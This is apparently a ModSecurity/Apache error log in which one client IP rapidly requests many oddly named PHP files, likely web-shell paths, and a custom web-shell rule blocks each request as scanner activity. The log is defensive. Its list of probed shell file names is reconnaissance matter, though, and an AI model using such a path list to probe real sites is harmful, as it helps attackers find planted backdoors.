[Sun Mar 29 02:28:27.700346 2026] [:error] [pid 60346:tid 60356] [client 20.197.233.108:63167] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfd.php"] [unique_id "acgdy3VrXSgLxlxLi9BATAAAAQU"]
[Sun Mar 29 02:28:28.339619 2026] [:error] [pid 60346:tid 60361] [client 20.197.233.108:63578] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfd.php"] [unique_id "acgdzHVrXSgLxlxLi9BATgAAAQo"]
[Sun Mar 29 02:28:28.976023 2026] [:error] [pid 39429:tid 39502] [client 20.197.233.108:63091] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfd.php"] [unique_id "acgdzE8pSj6sqgZaItnoKAAAAJA"]
[Sun Mar 29 02:28:29.675606 2026] [:error] [pid 60346:tid 60369] [client 20.197.233.108:63671] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gfd.php"] [unique_id "acgdzXVrXSgLxlxLi9BAUgAAARI"]
[Sun Mar 29 02:28:30.305730 2026] [:error] [pid 39427:tid 39432] [client 20.197.233.108:63635] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/144.php"] [unique_id "acgdzlvLf0RDUqcYq-ZSQQAAAAA"]
[Sun Mar 29 02:28:30.924849 2026] [:error] [pid 60346:tid 60365] [client 20.197.233.108:62356] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/144.php"] [unique_id "acgdznVrXSgLxlxLi9BAWQAAAQ4"]
[Sun Mar 29 02:28:31.550418 2026] [:error] [pid 60346:tid 60356] [client 20.197.233.108:64412] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/144.php"] [unique_id "acgdz3VrXSgLxlxLi9BAXAAAAQU"]
[Sun Mar 29 02:28:32.213536 2026] [:error] [pid 60346:tid 60363] [client 20.197.233.108:63614] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/144.php"] [unique_id "acgd0HVrXSgLxlxLi9BAYQAAAQw"]
[Sun Mar 29 02:28:32.870807 2026] [:error] [pid 60346:tid 60374] [client 20.197.233.108:64361] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "acgd0HVrXSgLxlxLi9BAZAAAARc"]
[Sun Mar 29 02:28:33.514186 2026] [:error] [pid 39428:tid 39464] [client 20.197.233.108:63116] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "acgd0aXMrozFMIaP8nIFdQAAAEU"]
[Sun Mar 29 02:28:34.188019 2026] [:error] [pid 39429:tid 39495] [client 20.197.233.108:63166] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "acgd0k8pSj6sqgZaItnoKgAAAIk"]
[Sun Mar 29 02:28:34.864918 2026] [:error] [pid 60346:tid 60359] [client 20.197.233.108:63632] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "acgd0nVrXSgLxlxLi9BAZQAAAQg"]
[Sun Mar 29 02:28:35.484133 2026] [:error] [pid 39429:tid 39505] [client 20.197.233.108:63576] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "acgd008pSj6sqgZaItnoLQAAAJM"]
[Sun Mar 29 02:28:36.137807 2026] [:error] [pid 60346:tid 60365] [client 20.197.233.108:63041] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "acgd1HVrXSgLxlxLi9BAaQAAAQ4"]
[Sun Mar 29 02:28:36.810765 2026] [:error] [pid 39427:tid 39455] [client 20.197.233.108:63670] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "acgd1FvLf0RDUqcYq-ZSRwAAABc"]
[Sun Mar 29 02:28:37.458494 2026] [:error] [pid 39427:tid 39445] [client 20.197.233.108:62373] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "acgd1VvLf0RDUqcYq-ZSSQAAAA0"]
[Sun Mar 29 02:28:38.140063 2026] [:error] [pid 39429:tid 39497] [client 20.197.233.108:63164] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "acgd1k8pSj6sqgZaItnoMwAAAIs"]
[Sun Mar 29 02:28:38.782134 2026] [:error] [pid 39428:tid 39482] [client 20.197.233.108:64339] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "acgd1qXMrozFMIaP8nIFfAAAAFc"]
[Sun Mar 29 02:28:39.421372 2026] [:error] [pid 39514:tid 39544] [client 20.197.233.108:63107] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "acgd1ykUyvlQod6qQu2nxwAAANM"]
[Sun Mar 29 02:28:40.041200 2026] [:error] [pid 39514:tid 39530] [client 20.197.233.108:63124] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "acgd2CkUyvlQod6qQu2nyAAAAMU"]
[Sun Mar 29 02:28:40.663564 2026] [:error] [pid 39429:tid 39488] [client 20.197.233.108:62357] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/baixy.php"] [unique_id "acgd2E8pSj6sqgZaItnoPAAAAII"]
[Sun Mar 29 02:28:41.294029 2026] [:error] [pid 39427:tid 39455] [client 20.197.233.108:63150] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/baixy.php"] [unique_id "acgd2VvLf0RDUqcYq-ZSWgAAABc"]
[Sun Mar 29 02:28:41.913605 2026] [:error] [pid 60346:tid 60354] [client 20.197.233.108:63109] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/baixy.php"] [unique_id "acgd2XVrXSgLxlxLi9BAbQAAAQM"]
[Sun Mar 29 02:28:42.570282 2026] [:error] [pid 60346:tid 60353] [client 20.197.233.108:63574] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/baixy.php"] [unique_id "acgd2nVrXSgLxlxLi9BAcAAAAQI"]
[Sun Mar 29 02:28:43.220390 2026] [:error] [pid 39427:tid 39433] [client 20.197.233.108:63575] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "acgd21vLf0RDUqcYq-ZSYwAAAAE"]
[Sun Mar 29 02:28:43.860738 2026] [:error] [pid 39429:tid 39490] [client 20.197.233.108:63586] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "acgd208pSj6sqgZaItnoQwAAAIQ"]
[Sun Mar 29 02:28:44.625886 2026] [:error] [pid 39429:tid 39502] [client 20.197.233.108:64437] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "acgd3E8pSj6sqgZaItnoSAAAAJA"]
[Sun Mar 29 02:28:45.250707 2026] [:error] [pid 60346:tid 60372] [client 20.197.233.108:63621] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "acgd3XVrXSgLxlxLi9BAegAAARU"]
[Sun Mar 29 02:28:45.880514 2026] [:error] [pid 60346:tid 60370] [client 20.197.233.108:64404] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "acgd3XVrXSgLxlxLi9BAfQAAARM"]
[Sun Mar 29 02:28:46.648496 2026] [:error] [pid 39428:tid 39471] [client 20.197.233.108:62377] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "acgd3qXMrozFMIaP8nIFgAAAAEw"]
[Sun Mar 29 02:28:47.484165 2026] [:error] [pid 39429:tid 39490] [client 20.197.233.108:63677] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "acgd308pSj6sqgZaItnoTgAAAIQ"]
[Sun Mar 29 02:28:48.099822 2026] [:error] [pid 39427:tid 39451] [client 20.197.233.108:61865] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "acgd4FvLf0RDUqcYq-ZSagAAABM"]
[Sun Mar 29 02:28:48.754550 2026] [:error] [pid 60346:tid 60373] [client 20.197.233.108:63624] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/callback.php"] [unique_id "acgd4HVrXSgLxlxLi9BAiQAAARY"]
[Sun Mar 29 02:28:49.430083 2026] [:error] [pid 39429:tid 39499] [client 20.197.233.108:64362] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/callback.php"] [unique_id "acgd4U8pSj6sqgZaItnoVAAAAI0"]
[Sun Mar 29 02:28:50.192175 2026] [:error] [pid 39429:tid 39494] [client 20.197.233.108:63094] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/callback.php"] [unique_id "acgd4k8pSj6sqgZaItnoWAAAAIg"]
[Sun Mar 29 02:28:51.028051 2026] [:error] [pid 39429:tid 39491] [client 20.197.233.108:63127] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/callback.php"] [unique_id "acgd408pSj6sqgZaItnoWgAAAIU"]
[Sun Mar 29 02:28:51.759865 2026] [:error] [pid 60346:tid 60354] [client 20.197.233.108:62361] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/vx.php"] [unique_id "acgd43VrXSgLxlxLi9BAjAAAAQM"]
[Sun Mar 29 02:28:52.477337 2026] [:error] [pid 39428:tid 39472] [client 20.197.233.108:63617] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/vx.php"] [unique_id "acgd5KXMrozFMIaP8nIFhgAAAE0"]
[Sun Mar 29 02:28:53.096856 2026] [:error] [pid 60346:tid 60366] [client 20.197.233.108:63619] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/vx.php"] [unique_id "acgd5XVrXSgLxlxLi9BAkgAAAQ8"]
[Sun Mar 29 02:28:53.871719 2026] [:error] [pid 39429:tid 39507] [client 20.197.233.108:61831] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/vx.php"] [unique_id "acgd5U8pSj6sqgZaItnoXwAAAJU"]
[Sun Mar 29 02:28:54.519057 2026] [:error] [pid 39428:tid 39468] [client 20.197.233.108:63584] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws83.php"] [unique_id "acgd5qXMrozFMIaP8nIFiQAAAEk"]
[Sun Mar 29 02:28:55.140551 2026] [:error] [pid 39427:tid 39436] [client 20.197.233.108:63081] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws83.php"] [unique_id "acgd51vLf0RDUqcYq-ZSdwAAAAQ"]
[Sun Mar 29 02:28:55.776277 2026] [:error] [pid 39428:tid 39480] [client 20.197.233.108:64365] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws83.php"] [unique_id "acgd56XMrozFMIaP8nIFjgAAAFU"]
[Sun Mar 29 02:28:56.411399 2026] [:error] [pid 39428:tid 39460] [client 20.197.233.108:64407] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws83.php"] [unique_id "acgd6KXMrozFMIaP8nIFkgAAAEE"]
[Sun Mar 29 02:28:57.033111 2026] [:error] [pid 39514:tid 39542] [client 20.197.233.108:62337] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws49.php"] [unique_id "acgd6SkUyvlQod6qQu2nzAAAANE"]
[Sun Mar 29 02:28:57.672527 2026] [:error] [pid 39429:tid 39489] [client 20.197.233.108:63075] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws49.php"] [unique_id "acgd6U8pSj6sqgZaItnoZwAAAIM"]
[Sun Mar 29 02:28:58.308866 2026] [:error] [pid 39429:tid 39488] [client 20.197.233.108:64445] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws49.php"] [unique_id "acgd6k8pSj6sqgZaItnobQAAAII"]
[Sun Mar 29 02:28:58.926363 2026] [:error] [pid 39429:tid 39492] [client 20.197.233.108:63062] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws49.php"] [unique_id "acgd6k8pSj6sqgZaItnocwAAAIY"]
[Sun Mar 29 02:28:59.557732 2026] [:error] [pid 39514:tid 39541] [client 20.197.233.108:61833] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mh.php"] [unique_id "acgd6ykUyvlQod6qQu2nzwAAANA"]
[Sun Mar 29 02:29:00.199686 2026] [:error] [pid 60346:tid 60351] [client 20.197.233.108:63075] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mh.php"] [unique_id "acgd7HVrXSgLxlxLi9BAogAAAQA"]
[Sun Mar 29 02:29:00.837108 2026] [:error] [pid 39427:tid 39439] [client 20.197.233.108:64417] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mh.php"] [unique_id "acgd7FvLf0RDUqcYq-ZSeQAAAAc"]
[Sun Mar 29 02:29:01.467063 2026] [:error] [pid 39514:tid 39539] [client 20.197.233.108:62363] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mh.php"] [unique_id "acgd7SkUyvlQod6qQu2n2wAAAM4"]
[Sun Mar 29 02:29:02.092818 2026] [:error] [pid 60346:tid 60360] [client 20.197.233.108:63623] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bo.php"] [unique_id "acgd7nVrXSgLxlxLi9BApgAAAQk"]
[Sun Mar 29 02:29:02.707673 2026] [:error] [pid 60346:tid 60370] [client 20.197.233.108:64400] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bo.php"] [unique_id "acgd7nVrXSgLxlxLi9BAqgAAARM"]
[Sun Mar 29 02:29:03.326840 2026] [:error] [pid 60346:tid 60369] [client 20.197.233.108:62288] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bo.php"] [unique_id "acgd73VrXSgLxlxLi9BAqwAAARI"]
[Sun Mar 29 02:29:03.959130 2026] [:error] [pid 39429:tid 39486] [client 20.197.233.108:64336] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bo.php"] [unique_id "acgd708pSj6sqgZaItnofAAAAIA"]
[Sun Mar 29 02:29:22.386202 2026] [:error] [pid 39429:tid 39506] [client 20.197.233.108:64374] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtiiy.php"] [unique_id "acgeAk8pSj6sqgZaItnopgAAAJQ"]
